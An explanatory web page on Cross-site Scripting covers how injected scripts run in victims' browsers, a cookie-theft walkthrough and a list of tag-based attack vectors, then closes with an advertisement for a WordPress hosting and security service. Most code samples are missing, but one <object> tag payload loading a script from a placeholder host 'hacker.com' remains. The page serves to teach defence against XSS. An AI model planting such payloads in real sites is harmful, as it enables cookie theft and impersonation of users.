Cross-site Scripting (XSS) refers to client-side code injection attack wherein an attacker can execute malicious scripts (also commonly referred to as a malicious payload) into a legitimate website or web application. XSS is amongst the most rampant of web application vulnerabilities and occurs when a web application makes use of unvalidated or unencoded user input within the output it generates.
By leveraging XSS, an attacker does not target a victim directly. Instead, an attacker would exploit a vulnerability within a website or web application that the victim would visit, essentially using the vulnerable website as a vehicle to deliver a malicious script to the victim’s browser.
How Cross-site Scripting works
In order for an XSS attack to take place the vulnerable website needs to directly include user input in its pages. An attacker can then insert a string that will be used within the web page and treated as code by the victim’s browser.
The following server-side pseudo-code is used to display the most recent comment on a web page.
When the page loads in the victim’s browser, the attacker’s malicious script will execute, most often without the user realizing or being able to prevent such an attack.
Important Note — An XSS vulnerability can only exist if the payload (malicious script) that the attacker inserts ultimately get parsed (as HTML in this case) in the victim’s browser
The above, in combination with social engineering, allow attackers to pull off advanced attacks including cookie theft, keylogging, phishing and identity theft. Critically, XSS vulnerabilities provide the perfect ground for attackers to escalate attacks to more serious ones.
“Isn’t Cross-site scripting the user’s problem?”
The anatomy of a Cross-site Scripting attack
An XSS attack needs three actors — the website, the victim and the attacker.
The figure below illustrates a step-by-step walkthrough of a simple XSS attack.
The victim requests the web page from the website
The website serves the victim’s browser the page with the attacker’s payload as part of the HTML body.
The victim’s browser will execute the malicious script inside the HTML body. In this case it would send the victim’s cookie to the attacker’s server. The attacker now simply needs to extract the victim’s cookie when the HTTP request arrives to the server, after which the attacker can use the victim’s stolen cookie for impersonation.
Some examples of Cross-site Scripting attack vectors
The following is a non-exhaustive list of XSS attack vectors that an attacker could use to compromise the security of a website or web application through an XSS attack. A more extensive list of XSS payload examples is maintained here.
<!-- <iframe> tag XSS -->
In some browsers, if the type attribute of the <input> tag is set to image, it can be manipulated to embed a script.
The <link> tag, which is often used to link to external style sheets could contain a script.
The background attribute of the table and td tags can be exploited to refer to a script instead of an image.
The <div> tag, similar to the <table> and <td> tags can also specify a background and therefore embed a script.
The <object> tag can be used to include in a script from an external site.
<!-- <object> tag XSS --><objecttype="text/x-scriptlet"data="http://hacker.com/xss.html">
Is your website or web application vulnerable to Cross-site Scripting?
XSS vulnerabilities are amongst the most widespread web application vulnerabilities on the Internet.
Let www.mountainhomemarketing.com manage your wordpress website and using our security and vunrability tools — allow us to update and shut down any vunerabilities before it’s too late, while keeping your website running smoothly.
After using our specialized tools we identified 1/3 of all of our clients had a potential security issue that could allow a malicious attack through their website, and without our intervention to seal up those leaks — could have resulted in disaster.
Contact Us by phone at 870-495-2800 to start managing your website today. Prices start at $20/month to host your small business website (additional charges may apply to copy / convert or rebuild your site).